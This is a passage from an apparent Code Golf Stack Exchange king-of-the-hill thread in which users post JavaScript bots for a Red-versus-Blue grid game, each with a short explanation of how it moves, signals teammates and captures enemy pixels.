* 256)); setMsg(formpos + strpos + movestat + offset); return j; } } } else { var twinformpos = inbox.charAt(0); var twinx = inbox.charAt(1).charCodeAt(); var twiny = inbox.charAt(2).charCodeAt(); var twinmovestat = inbox.charAt(3); var offset = inbox.charAt(4); formpos = twinformpos == "T" ? "B" : "T"; var targetx = twinx; var targety = formpos == "T" ? (twiny - 1) : (twiny + 1); // If true, then this bot is either the second one to move or is not in position. Move into position. if (twinmovestat == movestat || x != targetx || y != targety) { var bestmove = 0; for (var j = 0; j < 7; j++) { for (var i = 0; i < eNear.length; i++){ var enemy = eNear[i]; var dx = enemy.x - x - selfdisp[j][0]; var dy = enemy.y - y - selfdisp[j][1]; if (dx * dx == 1 && dy >= -1 && dy <= 1) { selfsafe[j] = 0; } if (dx == 0 && dy == 0){ selfsafe[j] *= 2; } } selfsafe[j] -= Math.abs(x + selfdisp[j][0] - targetx) + Math.abs(y + selfdisp[j][1] - targety); if (selfsafe[j] > selfsafe[bestmove]) { bestmove = j; } } var strpos = tochar(x + selfdisp[bestmove][0]) + tochar(y + selfdisp[bestmove][1]); setMsg(formpos + strpos + movestat + offset); return bestmove; } else { // In formation, and is the leader this turn var topy = formpos == "T" ? y : (y - 1); var topx = x; var safe = [1,1,1,1,1,1,1,1,1]; var disp = [[0,0],[0,1],[0,-1],[1,-1],[-1,-1],[-1,1],[1,1],[1,0],[-1,0]]; var otherpos = formpos == "T" ? "B" : "T"; // Avoid dangerous squares and always kill if safe to do so for (var j = 0; j < 9; j++){ var ntopx = topx + disp[j][0]; var ntopy = topy + disp[j][1]; if (ntopx < 0 || ntopx > 127 || ntopy < 0 || ntopy > 126){ safe[j] = 0; continue; } for (var i = 0; i < eNear.length; i++){ var enemy = eNear[i]; var dx = enemy.x - ntopx; var dy = enemy.y - ntopy; if(dx * dx == 1 && dy >= -1 && dy <= 2){ safe[j] = 0; continue; } if(dx == 0 && dy >= 0 && dy <= 1){ // Kill! var strpos = tochar(x + disp[j][0]) + tochar(y + disp[j][1]); if (j > 6) { setMsg(otherpos + strpos + movestat + offset); if (formpos == "T"){return 13 - j;} return j - 4; } setMsg(formpos + strpos + movestat + offset); return j; } } } var pref = []; for (var i = 0; i < eNear.length; i++){ var enemy = eNear[i]; var dy = enemy.y - topy; var dx = enemy.x - topx; if (dy < 0 && dx == 0){ pref=[2,4,3,8,7,1,5,6,0]; } if (dy > 0 && dx == 0){ pref=[1,5,6,7,8,2,4,3,0]; } if (dy == 0 && dx > 0){ pref=[7,6,3,1,2,5,4,8,0]; } if (dy == 0 && dx < 0){ pref=[8,5,4,1,2,6,3,7,0]; } if (dy < 0 && dx < 0){ pref=[4,8,5,1,0,2,6,7,3]; } if (dy > 0 && dx < 0){ pref=[5,8,4,2,0,1,3,7,6]; } if (dy < 0 && dx > 0){ pref=[3,7,6,1,0,2,5,8,4]; } if (dy > 0 && dx > 0){ pref=[6,7,3,2,0,1,4,8,5]; } for (var k = 0; k < pref.length; k++) { if (safe[pref[k]]){ var strpos = tochar(x + disp[pref[k]][0]) + tochar(y + disp[pref[k]][1]); if (pref[k] > 6) { setMsg(otherpos + strpos + movestat + offset); if(formpos == "T"){return 13 - pref[k];} return pref[k] - 4; } setMsg(formpos + strpos + movestat + offset); return pref[k]; } } } var offsetint = offset.charCodeAt(); var offsetmove = move - 128 + offsetint; if (offsetmove % 900 < 30) { var targetx = 64 - (offsetmove % 30); var targety = 64 - (offsetmove % 30); } else if (offsetmove % 900 < 90) { var targetx = 34 + ((offsetmove - 30) % 60); var targety = 34; } else if (offsetmove % 900 < 150) { var targetx = 94; var targety = 34 + ((offsetmove - 30) % 60); } else if (offsetmove % 900 < 210) { var targetx = 94 - ((offsetmove - 30) % 60); var targety = 94; } else if (offsetmove % 900 < 270) { var targetx = 34; var targety = 94 - ((offsetmove - 30) % 60); } else if (offsetmove % 900 < 300) { var targetx = 34 + (offsetmove % 30); var targety = 34 + (offsetmove % 30); } else if (offsetmove % 900 < 360) { var targetx = 64 + (offsetmove % 60); var targety = 64 - (offsetmove % 60); } else if (offsetmove % 900 < 480) { var targetx = 124; var targety = 4 + (offsetmove % 120); } else if (offsetmove % 900 < 600) { var targetx = 124 - (offsetmove % 120); var targety = 124; } else if (offsetmove % 900 < 720) { var targetx = 4; var targety = 124 - (offsetmove % 120); } else if (offsetmove % 900 < 840) { var targetx = 4 + (offsetmove % 120); var targety = 4; } else { var targetx = 124 - (offsetmove % 60); var targety = 4 + (offsetmove % 60); } if (offsetint % 4 == 1) { var temp = targetx; var targetx = 127 - targety; var targety = temp; } else if (offsetint % 4 == 2) { var targetx = 127 - targetx; var targety = 127 - targety; } else if (offsetint % 4 == 3) { var temp = targetx; var targetx = targety; var targety = 127 - temp; } if ((offsetint >> 3) % 2) { var targetx = 127 - targetx; } var bestmove = 0; for (var j = 0; j < 9; j++) { safe[j] -= Math.abs(topx + disp[j][0] - targetx) + Math.abs(topy + disp[j][1] - targety); if (safe[j] > safe[bestmove]) { bestmove = j; } } var strpos = tochar(x + disp[bestmove][0]) + tochar(y + disp[bestmove][1]); if (bestmove > 6) { setMsg(otherpos + strpos + movestat + offset); if (formpos == "T"){return 13 - bestmove;} return bestmove - 4; } setMsg(formpos + strpos + movestat + offset); return bestmove; } } ``` **This bot forms a pair with [Sp3000's bot](https://codegolf.stackexchange.com/a/48434/2867).** The basic idea is that two bots, positioned adjacent to each other, help cover each other's weaknesses, so that neither bot has an exposed side. This helps protect from threats and limit the escape options of the target. At the beginning of the game, they navigate towards each other and form a pair. This pair then moves as a single unit, with one bot leading the other. The two bots have almost identical code, allowing them to trade positions and roles when necessary. When idle, the bots move around the board searching for enemies. Once they spot an enemy, they carefully maneuver themselves into the correct positions to attack. A very neat feature is the formation's ability to move straight horizontally, achieved by having the bots alternate places. [Answer] # Blue Team - SphiNotPi3000 ``` // Char 0: top or bottom ("T" or "B") // Char 1, 2: x/y coords // Char 3, move polarity // Char 4: offset (as codepoint - 128) var myself = 21487; var twin = 2867; var formpos = "B"; var tochar = String.fromCharCode; var movestat = (move % 2).toString(); var inbox = getMsg(twin); // Spoofing the message of a deceased partner if (inbox == "X"){ inbox = "B" + tochar(x) + tochar(y+1) + ((move + 1) % 2).toString() + tochar(0); } var selfsafe = [9,10,10,10,10,10,10]; // Remove useless edge moves if (x == 0){ selfsafe[4] = 0; selfsafe[5] = 0; } if (x == 127){ selfsafe[3] = 0; selfsafe[6] = 0; } if (y == 0){ selfsafe[2] = 0; selfsafe[3] = 0; selfsafe[4] = 0; } if (y == 127){ selfsafe[1] = 0; selfsafe[6] = 0; selfsafe[5] = 0; } var selfdisp = [[0,0],[0,1],[0,-1],[1,-1],[-1,-1],[-1,1],[1,1]]; if (inbox == "") { // First move, pick anywhere safe for (j = 0; j < 7; j++) { for (var i = 0; i < eNear.length; i++){ var enemy = eNear[i]; var dx = enemy.x - x - selfdisp[j][0]; var dy = enemy.y - y - selfdisp[j][1]; if (dx * dx == 1 && dy >= -1 && dy <= 1) { selfsafe[j] = 0; } } if (selfsafe[j]) { var strpos = tochar(x + selfdisp[j][0]) + tochar(y + selfdisp[j][0]); var offset = tochar(Math.floor(Math.random() * 256)); setMsg(formpos + strpos + movestat + offset); return j; } } } else { var twinformpos = inbox.charAt(0); var twinx = inbox.charAt(1).charCodeAt(); var twiny = inbox.charAt(2).charCodeAt(); var twinmovestat = inbox.charAt(3); var offset = inbox.charAt(4); formpos = twinformpos == "T" ? "B" : "T"; var targetx = twinx; var targety = formpos == "T" ? (twiny - 1) : (twiny + 1); // If true, then this bot is either the second one to move or is not in position. Move into position. if (twinmovestat == movestat || x != targetx || y != targety) { var bestmove = 0; for (var j = 0; j < 7; j++) { for (var i = 0; i < eNear.length; i++){ var enemy = eNear[i]; var dx = enemy.x - x - selfdisp[j][0]; var dy = enemy.y - y - selfdisp[j][1]; if (dx * dx == 1 && dy >= -1 && dy <= 1) { selfsafe[j] = 0; } if (dx == 0 && dy == 0){ selfsafe[j] *= 2; } } selfsafe[j] -= Math.abs(x + selfdisp[j][0] - targetx) + Math.abs(y + selfdisp[j][1] - targety); if (selfsafe[j] > selfsafe[bestmove]) { bestmove = j; } } var strpos = tochar(x + selfdisp[bestmove][0]) + tochar(y + selfdisp[bestmove][1]); setMsg(formpos + strpos + movestat + offset); return bestmove; } else { // In formation, and is the leader this turn var topy = formpos == "T" ? y : (y - 1); var topx = x; var safe = [1,1,1,1,1,1,1,1,1]; var disp = [[0,0],[0,1],[0,-1],[1,-1],[-1,-1],[-1,1],[1,1],[1,0],[-1,0]]; var otherpos = formpos == "T" ? "B" : "T"; // Avoid dangerous squares and always kill if safe to do so for (var j = 0; j < 9; j++){ var ntopx = topx + disp[j][0]; var ntopy = topy + disp[j][1]; if (ntopx < 0 || ntopx > 127 || ntopy < 0 || ntopy > 126){ safe[j] = 0; continue; } for (var i = 0; i < eNear.length; i++){ var enemy = eNear[i]; var dx = enemy.x - ntopx; var dy = enemy.y - ntopy; if(dx * dx == 1 && dy >= -1 && dy <= 2){ safe[j] = 0; continue; } if(dx == 0 && dy >= 0 && dy <= 1){ // Kill! var strpos = tochar(x + disp[j][0]) + tochar(y + disp[j][1]); if (j > 6) { setMsg(otherpos + strpos + movestat + offset); if (formpos == "T"){return 13 - j;} return j - 4; } setMsg(formpos + strpos + movestat + offset); return j; } } } var pref = []; for (var i = 0; i < eNear.length; i++){ var enemy = eNear[i]; var dy = enemy.y - topy; var dx = enemy.x - topx; if (dy < 0 && dx == 0){ pref=[2,4,3,8,7,1,5,6,0]; } if (dy > 0 && dx == 0){ pref=[1,5,6,7,8,2,4,3,0]; } if (dy == 0 && dx > 0){ pref=[7,6,3,1,2,5,4,8,0]; } if (dy == 0 && dx < 0){ pref=[8,5,4,1,2,6,3,7,0]; } if (dy < 0 && dx < 0){ pref=[4,8,5,1,0,2,6,7,3]; } if (dy > 0 && dx < 0){ pref=[5,8,4,2,0,1,3,7,6]; } if (dy < 0 && dx > 0){ pref=[3,7,6,1,0,2,5,8,4]; } if (dy > 0 && dx > 0){ pref=[6,7,3,2,0,1,4,8,5]; } for (var k = 0; k < pref.length; k++) { if (safe[pref[k]]){ var strpos = tochar(x + disp[pref[k]][0]) + tochar(y + disp[pref[k]][1]); if (pref[k] > 6) { setMsg(otherpos + strpos + movestat + offset); if(formpos == "T"){return 13 - pref[k];} return pref[k] - 4; } setMsg(formpos + strpos + movestat + offset); return pref[k]; } } } var offsetint = offset.charCodeAt(); var offsetmove = move - 128 + offsetint; if (offsetmove % 900 < 30) { var targetx = 64 - (offsetmove % 30); var targety = 64 - (offsetmove % 30); } else if (offsetmove % 900 < 90) { var targetx = 34 + ((offsetmove - 30) % 60); var targety = 34; } else if (offsetmove % 900 < 150) { var targetx = 94; var targety = 34 + ((offsetmove - 30) % 60); } else if (offsetmove % 900 < 210) { var targetx = 94 - ((offsetmove - 30) % 60); var targety = 94; } else if (offsetmove % 900 < 270) { var targetx = 34; var targety = 94 - ((offsetmove - 30) % 60); } else if (offsetmove % 900 < 300) { var targetx = 34 + (offsetmove % 30); var targety = 34 + (offsetmove % 30); } else if (offsetmove % 900 < 360) { var targetx = 64 + (offsetmove % 60); var targety = 64 - (offsetmove % 60); } else if (offsetmove % 900 < 480) { var targetx = 124; var targety = 4 + (offsetmove % 120); } else if (offsetmove % 900 < 600) { var targetx = 124 - (offsetmove % 120); var targety = 124; } else if (offsetmove % 900 < 720) { var targetx = 4; var targety = 124 - (offsetmove % 120); } else if (offsetmove % 900 < 840) { var targetx = 4 + (offsetmove % 120); var targety = 4; } else { var targetx = 124 - (offsetmove % 60); var targety = 4 + (offsetmove % 60); } if (offsetint % 4 == 1) { var temp = targetx; var targetx = 127 - targety; var targety = temp; } else if (offsetint % 4 == 2) { var targetx = 127 - targetx; var targety = 127 - targety; } else if (offsetint % 4 == 3) { var temp = targetx; var targetx = targety; var targety = 127 - temp; } if ((offsetint >> 3) % 2) { var targetx = 127 - targetx; } var bestmove = 0; for (var j = 0; j < 9; j++) { safe[j] -= Math.abs(topx + disp[j][0] - targetx) + Math.abs(topy + disp[j][1] - targety); if (safe[j] > safe[bestmove]) { bestmove = j; } } var strpos = tochar(x + disp[bestmove][0]) + tochar(y + disp[bestmove][1]); if (bestmove > 6) { setMsg(otherpos + strpos + movestat + offset); if (formpos == "T"){return 13 - bestmove;} return bestmove - 4; } setMsg(formpos + strpos + movestat + offset); return bestmove; } } ``` This bot forms a pair with [PhiNotPi's bot](https://codegolf.stackexchange.com/a/48435/21487). See Phi's post for a brief explanation of our strategy. [Answer] # Red Team - SeekerBot ``` var myself = 38926; var messages = getMsg(myself).split(';'); var minimalDistanceToFriend = 2; var chosenMove = null; var newDistanceToFriend = null; var minimalVerticalDistanceToEnemy = null, minimalHorizontalDistanceToEnemy = null; var closestFriend = null; var closestEnemy = null; var possibleVictims = []; var possibleMoves = [ {newX: x, newY: y}, {newX: x + 1, newY: y}, {newX: x - 1, newY: y}, {newX: x + 1, newY: y - 1}, {newX: x - 1, newY: y - 1}, {newX: x - 1, newY: y + 1}, {newX: x + 1, newY: y + 1} ]; var calculateDistance = function(x1, y1, x2, y2) { return Math.sqrt(Math.pow(x1 - x2, 2) + Math.pow(y1 - y2, 2)); }; var iAmInDanger = function(meX, meY, himX, himY) { return (Math.abs(meY - himY) === 1 && Math.abs(meX - himX) <= 1); }; var iCanKillHim = function(meX, meY, himX, himY) { return (Math.abs(meX - himX) === 1 && Math.abs(meY - himY) <= 1); }; var setMessage = function() { messages[0] = ("000" + x).substr(-3, 3); messages[1] = ("000" + y).substr(-3, 3); setMsg(messages.join(';')); } for (i = 0; i < possibleMoves.length; i++) { if (possibleMoves[i].newX < 0 || possibleMoves[i].newY < 0 || possibleMoves[i].newX > 127 || possibleMoves[i].newY > 127) { possibleMoves[i] = null; } } for (var i = 0; i < eNear.length; i++) { if (closestEnemy === null || calculateDistance(x, y, closestEnemy.x, closestEnemy.y) > calculateDistance(x, y, eNear[i].x, eNear[i].y)) { closestEnemy = eNear[i]; } if (Math.abs(x - eNear[i].x) <= 2 && Math.abs(y - eNear[i].y) <= 2) { possibleVictims.push(eNear[i]); } } for (i = 0; i < tNear.length; i++) { if (closestFriend === null || calculateDistance(x, y, closestFriend.x, closestFriend.y) > calculateDistance(x, y, tNear[i].x, tNear[i].y)) { closestFriend = tNear[i]; } } for (i = 0; i < possibleMoves.length; i++) { for (var j = 0; j < possibleVictims.length; j++) { if (possibleMoves[i] !== null && iAmInDanger(possibleMoves[i].newX, possibleMoves[i].newY, possibleVictims[j].x, possibleVictims[j].y)) { possibleMoves[i] = null; } } } for (i = 0; i < possibleMoves.length; i++) { for (j = 0; j < possibleVictims.length; j++) { if (possibleMoves[i] !== null && possibleMoves[i].newX === possibleVictims[j].x && possibleMoves[i].newY === possibleVictims[j].y) { messages[2] = 0; setMessage(); return i; } } } if (possibleVictims.length > 0) { if (iAmInDanger(x, y, possibleVictims[0].x, possibleVictims[0].y)) { if (closestFriend !== null) { for (i = 0; i < possibleMoves.length; i++) { if (possibleMoves[i] !== null) { var distance = calculateDistance(possibleMoves[i].newX, possibleMoves[i].newY, closestFriend.x, closestFriend.y); if (newDistanceToFriend === null || (distance < newDistanceToFriend && distance >= minimalDistanceToFriend)) { newDistanceToFriend = distance; chosenMove = i; } } } messages[2] = 0; setMessage(); return chosenMove; } else { var aggressiveMoves = []; var randomMoves = []; for (i = 0; i < possibleMoves.length; i++) { if (possibleMoves[i] !== null) { if (iCanKillHim(possibleMoves[i].newX, possibleMoves[i].newY, possibleVictims[0].x, possibleVictims[0].y)) { aggressiveMoves.push(i); } randomMoves.push(i); } } var approachCount = messages[2] || 0; if (approachCount < 5 && aggressiveMoves.length > 0) { messages[2] = approachCount + 1; chosenMove = aggressiveMoves[Math.floor(Math.random() * aggressiveMoves.length)]; setMessage(); return chosenMove; } else { chosenMove = randomMoves[Math.floor(Math.random() * randomMoves.length)]; setMessage(); return chosenMove; } } } } if (closestEnemy != null) { for (i = 1; i < possibleMoves.length; i++) { if (possibleMoves[i] !== null) { var verticalDistance = Math.abs(possibleMoves[i].newY - closestEnemy.y); var horizontalDistance = Math.abs(possibleMoves[i].newX - closestEnemy.x); if (minimalVerticalDistanceToEnemy === null || verticalDistance <= minimalVerticalDistanceToEnemy) { if (minimalVerticalDistanceToEnemy !== null && verticalDistance === minimalVerticalDistanceToEnemy) { if (minimalHorizontalDistanceToEnemy === null || horizontalDistance <= minimalHorizontalDistanceToEnemy) { minimalHorizontalDistanceToEnemy = horizontalDistance; chosenMove = i; } } else { minimalVerticalDistanceToEnemy = verticalDistance; minimalHorizontalDistanceToEnemy = horizontalDistance; chosenMove = i; } } } } messages[2] = 0; setMessage(); return chosenMove; } var seekStatus = messages[3] || 0; var seekCount = messages[4] || 0; seekStatus = parseInt(seekStatus, 10); seekCount = parseInt(seekCount, 10); switch (seekStatus) { case 0: if (x < 16) { seekCount = 0; if (y > 111) { seekStatus = 4; } else { seekStatus = 1; } } else { chosenMove = 2; } break; case 1: seekCount++; if (y > 111 || seekCount > 31) { seekStatus = 2; } else { if (seekCount % 2 === 0) { chosenMove = 5; } else { chosenMove = 6; } } break; case 2: if (x > 111) { seekCount = 0; if (y > 111) { seekStatus = 4; } else { seekStatus = 3; } } else { chosenMove = 1; } break; case 3: seekCount++; if (y > 111 || seekCount > 31) { seekStatus = 0; } else { if (seekCount % 2 === 0) { chosenMove = 5; } else { chosenMove = 6; } } break; case 4: seekCount++; if (y < 16) { if (x > 63) { seekStatus = 0; } else { seekStatus = 2; } } else { if (seekCount % 2 === 0) { chosenMove = 3; } else { chosenMove = 4; } } break; } messages[2] = 0; messages[3] = seekStatus; messages[4] = seekCount; setMessage(); return chosenMove; ``` The highest priority of SeekerBot is survival. Therefore, it will only consider moves which will not put it into jeopardy of being killed in the next turn (as long as such moves exist). When no opponents are in view, it will move in a pattern over the battlefield, which will ensure that most of the ground will regularly be in viewing distance. If SeekerBot spots an enemy, it will move towards it. If it can kill an enemy, it will do so as long as the move is save. If it cannot kill an enemy but the enemy is in a position to kill it on its next turn, SeekerBot will try to lure the enemy towards a friend (if one is visible). If no team member is in view, it will try to move into a position, where it can kill the enemy in the next turn. If this does not work 5 times in a row, it will switch tactics and start moving in a random pattern, possibly closing in on the enemy again in the next round. For what it's worth, it will use the first 7 characters of the message to shout its own position in the format "x;y" (where x and y are zero padded). Its certainly not the cleanest code, but it seems to do what I expected of it. [Answer] # Red Team - Groomba ``` // v009 // I exist, therefore I am identifiable and have motivation var myself = 1686; var motive = [ 4,4, 4,-1, 4,3, 3,-1, 3,3, 3,1, 1,1, 6,1, 6,6, 6,-2, 6,5, 5,-2, 5,5, 5,2, 2,2, 4,2]; var killzone = [4,2,5, 3,1,6]; // Default move is to not move. Then we consider each task in lowest // to highest priority. Each task only modifies the move if it needs to. var move = 0; var vector = 0; var step = 0; // Restore internal state from message var selfMessage; selfMessage = getMsg(myself); if(selfMessage === undefined || selfMessage.length > 2) // first run or bigger than 99, let's make some defaults! { // vector, step - let the default above stand } else { vector = Math.floor(parseInt(selfMessage)/2) % 16; step = parseInt(selfMessage) % 2; } // 1) Move according to motivation move = motive[vector*2 + step]; step = (step + 1) % 2; if(move == -1) { move = Math.floor(Math.random() * 2) + 3; } if(move == -2) { move = Math.floor(Math.random() * 2) + 5; } // 2) When interacting with a wall, rebound but alter the angle // slightly so as to prevent trivial counterattack strategies // If we are close to a wall and headed towards that wall, randomly // choose another vector to follow. if((y < 8 && (vector > 14 || vector < 6)) || (y > 120 && (vector > 6 && vector < 14)) || (x < 8 && (vector > 10 || vector < 2)) || (x > 120 && (vector > 2 && vector < 10))) { vector = Math.floor(Math.random() * 16); } // When an enemy is within view, move beside them if(eNear.length > 0) // I only look at the first enemy in the array. { enemy = eNear[0]; if(enemy.x == x) // Don't want to be directly on top or below { if(enemy.y > y) // If they are below move angular down { move = (x > 63) ? 5 : 6; } else { move = (x > 63) ? 4 : 3; } move = 1; } else if(enemy.y > y) { if(enemy.x > x) { move = 6; } else { move = 5; } vector = 10; } else if(enemy.y != y) { if(enemy.x > x) { move = 3; } else { move = 4; } vector = 2; } else { if(enemy.x > x) { move = 1; vector = 6 } else { move = 2; vector = 14; } } } // 3) When an enemy is one space away, act or react. // A) If it can be consumed, consume // B) If it can consume us next turn, evade // C) If we can reposition ourselves to consume next turn, reposition var enemy; var difx; var dify; // Evade for(var i=0; i<eNear.length; i++) { enemy = eNear[i]; if(enemy.x == x && enemy.y == y + 1) { if(x>63) { move = 5; } else { move = 6; } } if(enemy.x == x && enemy.y == y - 1) { if(x>63) { move = 4; } else { move = 3; } } } // Kill for(var i=0; i<eNear.length; i++) { enemy = eNear[i]; difx = enemy.x - x + 1; dify = enemy.y - y + 1; if((difx == 0 || difx == 2) && (dify > -1 && dify < 3)) { move = killzone[Math.floor(difx/2) * 3 + dify]; } } // 4) Encode the current surroundings and internal state var value = vector*2+step var message = value.toString(); setMsg(message); // Return move return move; ``` Notes in comments. [Answer] # Red Team - Lazy Slayer ``` var moves={ '-1':{'-1':4,'0':0,'1':3}, '0':{'-1':2,'0':0,'1':1}, '1':{'-1':5,'0':0,'1':6} },$id=14732,to,enemies=''; for(var k in eNear) { enemies+=String.fromCharCode(eNear[k].x+32)+String.fromCharCode(eNear[k].y+32); } enemies=enemies.replace('"','\\"'); for(var k in eNear) { to=undefined; switch( eNear[k].x - x ) { case -1: case 1: to=moves[eNear[k].y - y][eNear[k].x - x]; break; case 0: to=moves[-(eNear[k].y - y)][0]; break; } if(to!==undefined) { setMsg('"a":1,"o":['+x+','+y+'],"m":'+(to||0)+',"e":"'+enemies+'"'); return to; } } var msg; for(var k in tNear) { if(msg = getMsg(tNear[k].id)) { try { var m=JSON.parse('{'+msg+'}'); if(m && m[$id]) { if(m[$id].a === 1) { if(!m[$id].x || !m[$id].y) { setMsg('"a":1,"o":['+x+','+y+'],"m":'+m[$id].m+',"id":'+m[$id].id+'}'); return m[$id].m; } else { setMsg('"a":1,"o":['+x+','+y+'],"m":{"x":'+m[$id].x+',"y":'+m[$id].y+'},"id":'+m[$id].id+',"e":"'+enemies+'"'); return moves[m[$id].x][m[$id].y]; } } else if(m[$id].a === 0) { setMsg('"a":0,"o":['+x+','+y+'],"m":0,"id":'+m[$id].id+',"e":"'+enemies+'"'); return moves[m[$id].x||0][m[$id].y||0]; } } } catch(e){} } } setMsg('"a":0,"o":['+x+','+y+'],"m":0,"e":"'+enemies+'"'); return 0; ``` ~~This is **the most** basic I could get it.~~ This no longer is 100% basic. It only moves **IF REQUIRED**. ~~If a user sends a message with 2 numbers between `-1` and `1` (e.g: `'1,0'`), separated with a comma, it will move there. It totally trusts it's teammates.~~ This now communicates over JSON. It has a very basic structure: * getMsg: + a: determins the action: - 0: stop - 1: move + m: The movement to send - {x:n,y:n}: Object with x and y, between -1 and 1 - raw value to be returned with the number represented in the grid. * setMsg: + a: indicates if it moved or if it stopped; + o: an array with my old position; + m: the raw movement returned by the code; + id: if an order was respected, this will have the guilty's ID; + e: list with all the enemy positions. Each position is biased by 32, to avoid non-printable chars. Use string.charCodeAt(i)-32 to get the enemy position. This will be a string with even length. Each enemy will be 2 chars. An example of a message to control it: ``` "14732":{"a":1,"m":3} ``` Which will send: ``` "a":1,"o":[x,y],"m":3,"id":id,"e":"" ``` He is also a little selfish ~~and won't help you~~ and now he is helpful as a stationary beacon. If this message is wrong (the format isn't right), try adding `"}` instead of `}`. --- This was edited after the 6-hour limit, and after it was extended to 8. It is no longer broken and will remain as the final version. [Answer] # Red Team - The Coward ``` var bounds = 128; var movements = [[0,0], [-1,-1],[1,-1],[-1,0],[1,0],[-1,1],[1,1]]; var distanceTo = function(x, y, pixel) { var a = x - pixel.x; var b = y - pixel.y; return Math.sqrt( a*a + b*b ); } var isDiagonallyAdjacent = function(x, y, pixel) { return (Math.abs(pixel.x - x) == 1 && Math.abs(pixel.y - y) == 1); } var canAttackMe = function(x, y, pixel) { if(x == pixel.x && Math.abs(pixel.y - y) == 1) { return true; } else { return isDiagonallyAdjacent(x, y, pixel); } } var canIAttack = function(x, y, pixel) { if(y == pixel.y && Math.abs(pixel.x - x) == 1) { return true; } else { return isDiagonallyAdjacent(x, y, pixel); } } var isPositionSafe = function(x2, y2, enemies) { var safe = true; for(var i in enemies) { if(canAttackMe(x2, y2, enemies[i])) { safe = false; break; } } return safe; } var moveTo = function(x, y, x2, y2) { if(x2 < x) { if(y2 < y) return 4; else if(y2 > y) return 5; else return 2; } else if(x2 > x) { if(y2 < y) return 3; else if(y2 > y) return 6; else return 1; } else { if(y2 < y) { if(x2 < bounds) { return 3; } return 4; } else if(y2 > y) { if(x2 >= 0) { return 5; } return 6; } } return 0; } var getMovement = function(i) { var m = [[0, 0], [1, 0], [-1, 0], [1, -1], [-1, -1], [-1, 1], [1, 1]]; return m[i]; } if(eNear.length == 0) { // Move at random //return Math.floor((Math.random() * 6) + 1); return 0; } else { var safePositions = []; var isSafePosition = function(x2, y2) { for(var i in safePositions) { if(safePositions[i][0]==x2 && safePositions[i][0]==y2) { return true; } } return false; } for(var i in movements) { var x2 = x + movements[i][0]; var y2 = y + movements[i][1]; if(x2 >= 0 && x2 < bounds && y2 >= 0 && y2 < bounds && isPositionSafe(x2, y2, eNear)) { safePositions.push([x + movements[i][0], y + movements[i][1]]); } } var dangerousPixels = []; var attackablePixels = []; var kamikazePixels = []; for(var ei in eNear) { var e = eNear[ei]; var attackable = canIAttack(x, y, e); var dangerous = canAttackMe(x, y, e); if( attackable ) { if(isSafePosition(e.x, e.y)) { attackablePixels.push(e); } else { kamikazePixels.push(e); } } else if(dangerous) { dangerousPixels.push(e); } } if(attackablePixels.length == eNear.length) { return moveTo(attackablePixels[0].x, attackablePixels[0].y); } if(attackablePixels.length > 0 && tNear.length >= eNear.length) { // Attack only if we have greater numbers // Attack one of them at random var i = Math.floor(Math.random() * attackablePixels.length); return moveTo(x, y, attackablePixels[i].x, attackablePixels[i].y); } else if(dangerousPixels.length > 0 && safePositions.length > 0) { // Flee var i = Math.floor(Math.random() * safePositions.length); return moveTo(x, y, safePositions[i][0], safePositions[i][1]); } else if(dangerousPixels.length > 0 && safePositions.length == 0 && kamikazePixels.length > 0) { var i = Math.floor(Math.random() * kamikazePixels.length); return moveTo(x, y, kamikazePixels[i].x, kamikazePixels[i].y); } else { var nearest = null; var nearestDist = Infinity; for(var ei in eNear) { var e = eNear[ei]; var d = distanceTo(x, y, e); if(nearest === null || d < nearestDist) { nearestDist = d; nearest = e; } } if(tNear.length >= eNear.length) { // Attack the nearest return moveTo(x, y, nearest.x, nearest.y); } else { // Get Away from the nearest var n = moveTo(x, y, nearest.x, nearest.y); var m = getMovement(n); var x2 = x-m[0]; var y2 = y-m[1]; if(x2 < 0 || x2 >= bounds) x2 = x + m[0]; if(y2 < 0 || y2 >= bounds) y2 = y + m[1]; return moveTo(x, y, x2, y2); } } } ``` This bot stays still to avoid being detected as much as possible. When one or more enemies are in sight, several things can happen: * If there are more enemies than the bot and his allies in sight, he tries to get away from the nearest enemy. * If there are more friends in sight than enemies, the numeric superiority gives the bot courage and tries to go forth and attack the enemy. * If he can kill an enemy next to it, he will try to, regardless of how many friendly and enemy bots there are, always trying to end up in a cell that can't be attacked by another bot. * If all the enemies are protected by other enemies, tries to flee. * If he can not go anywhere because all positions can be attacked, enters kamikaze mode and tries to at least take someone with him to the grave. Doesn't communicate with anyone, in case someone could hear him and go after him. It may not be the most useful bot to the team, but it was fun watching him trying to get away from everyone. [Answer] # Blue team - Eagle ``` var move_valid = function(x, y, move){ var move_x = {0:0, 1:0, 2:0, 3:1, 4:-1, 5:-1, 6:1}; var move_y = {0:0, 1:1, 2:-1, 3:-1, 4:-1, 5:1, 6:1}; var xx = x + move_x[move]; var yy = y + move_y[move]; return (1 <= xx && xx <= 125 && 1 <= yy && yy <= 125); } var sign = function(x){ if (x === 0) return 0; else if (x > 0) return 1; else return -1; } if (eNear.length === 0) { if (getMsg(29577).length > 0) { var last_move = parseInt(getMsg(29577).charAt(0)) if (last_move !== 0 && move_valid(x, y, last_move) && Math.random() > 0.03) return last_move; } var moves = [1, 2, 3, 4, 5, 6]; var valid_moves = []; for (var move of moves){if (move_valid(x, y, move)) valid_moves.push(move);} if (valid_moves.length === 0) valid_moves.push(0); var move = moves[Math.floor(Math.random()*moves.length)]; setMsg(move.toString()); return move; } else { var enemy = eNear[0]; var dist = Math.max(Math.abs(x- enemy.x), Math.abs(y - enemy.y)) var dir_x = sign(enemy.x - x); var dir_y = sign(enemy.y - y); var dir_to_move = {1: {1: 6, 0: -1, "-1": 3}, 0: {1: 1, 0: 1, "-1": 2}, "-1": {1: 5, 0: -1, "-1": 4}}; var move = dir_to_move[dir_x][dir_y]; var fight_count = 0; if (getMsg(29577).length > 1) { fight_count = parseInt(getMsg(29577).substring(1)); } fight_count += 1; if (fight_count > 100){ if (fight_count > 110) fight_count = 0; move = dir_to_move[-dir_x][dir_x !== 0 ? -dir_y : (Math.random() > 0.5 ? 1 : -1)]; setMsg(move.toString() + fight_count.toString()); return move; } else { if (dist > 2) { // Move towards enemy if (move === -1) move = dir_to_move[dir_x][Math.random() > 0.5 ? 1 : -1] setMsg(move.toString() + fight_count.toString()); return move; } else if (dist === 2) { if (Math.abs(x - enemy.x) < 2) { // go one down if === 0 // go diagonal, if ===1 // move is already correct } else if (Math.abs(y - enemy.y) === 2) { // dist_x == dist_y move = dir_to_move[0][dir_y]; } else if (Math.abs(y - enemy.y) === 1) { move = dir_to_move[dir_x][-dir_y]; } else { // dist_y == 0, dist_x == 2 move = dir_to_move[0][Math.random() > 0.5 ? 1 : -1] } setMsg(move.toString() + fight_count.toString()); return move; } else if (dist === 1) { if 